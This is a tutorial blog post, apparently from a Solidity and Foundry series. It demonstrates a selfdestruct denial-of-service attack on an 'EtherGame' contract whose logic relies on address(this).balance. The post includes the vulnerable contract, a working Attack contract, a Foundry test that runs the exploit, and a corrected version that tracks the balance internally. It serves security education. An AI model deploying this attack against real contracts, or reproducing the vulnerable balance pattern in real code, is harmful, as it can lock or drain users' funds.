Foundry II -SelfDestruct

Solidity Programming Language
3 min readMay 9, 2022

--

Code is in the here.

Thanks to Murat and Ahmet.

EtherGame

Contract EtherGame {                                 
uint constant public targetAmount = 7 ether; address public winner;
function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; // vulnerable require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } }
function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } }

Attack

contract Attack {EtherGame etherGame;constructor(EtherGame _etherGame) {etherGame = EtherGame(_etherGame);}function dos() public payable {// cast address to payableaddress payable addr = payable(address(etherGame));selfdestruct(addr);}}

ContractTest

contract ContractTest is Test {EtherGame EtherGameContract;Attack AttackerContract;
address alice;
address eve;function setUp() public {EtherGameContract = new EtherGame();//alice = vm.addr(1);alice = makeAddr("alice");// eve = vm.addr(2);eve = makeAddr("eve");vm.deal(alice, 1 ether);vm.deal(eve, 2 ether);}function testFailSelfdestruct() public {console.log("Alice balance", alice.balance);console.log("Eve balance", eve.balance);console.log("Alice deposit 1 Ether...");vm.prank(alice);EtherGameContract.deposit{value: 1 ether}();console.log("Eve deposit 1 Ether...");vm.prank(eve);EtherGameContract.deposit{value: 1 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);AttackerContract = new Attack(EtherGameContract);AttackerContract.dos{value: 5 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);console.log("Exploit completed, Game is over");
vm.prank(eve);
EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.}}

forge test — contracts ./src/test/SelfDestruct.sol -vvvv

console.log("Alice deposit 1 Ether...");vm.prank(alice);EtherGameContract.deposit{value: 1 ether}();console.log("Eve deposit 1 Ether...");vm.prank(eve);EtherGameContract.deposit{value: 1 ether}();
AttackerContract = new Attack(EtherGameContract);AttackerContract.dos{value: 5 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);console.log("Exploit completed, Game is over");
vm.prank(eve);
EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.

What is the problem ?

uint balance = address(this).balance;   // vulnerable

You assign the adress’ balance to the balance variable but Hacker could sent the ether this address with selfdestruct method.

How to solve ?

contract EtherGame {uint constant public targetAmount = 7 ether;address public winner;uint public balance;function deposit() public payable {require(msg.value == 1 ether, "You can only send 1 Ether");balance +=msg.value;require(balance <= targetAmount, "Game is over");if (balance == targetAmount) {winner = msg.sender;}}function claimReward() public {require(msg.sender == winner, "Not winner");(bool sent, ) = msg.sender.call{value: balance}("");require(sent, "Failed to send Ether");}}

Failed tests: [FAIL] testFailSelfdestruct()

Foundry I

Foundry II

Foundry III

Foundry IV

Foundry V

Foundry VI

Associate Professor Engin YILMAZ (VeriDelisi)

--

--

Solidity Programming Language

Solidity basics for beginners: Learn the fundamentals of smart contract development and build your first DApp! #Solidity #Foundry #Ethereum #Opcodes #DApps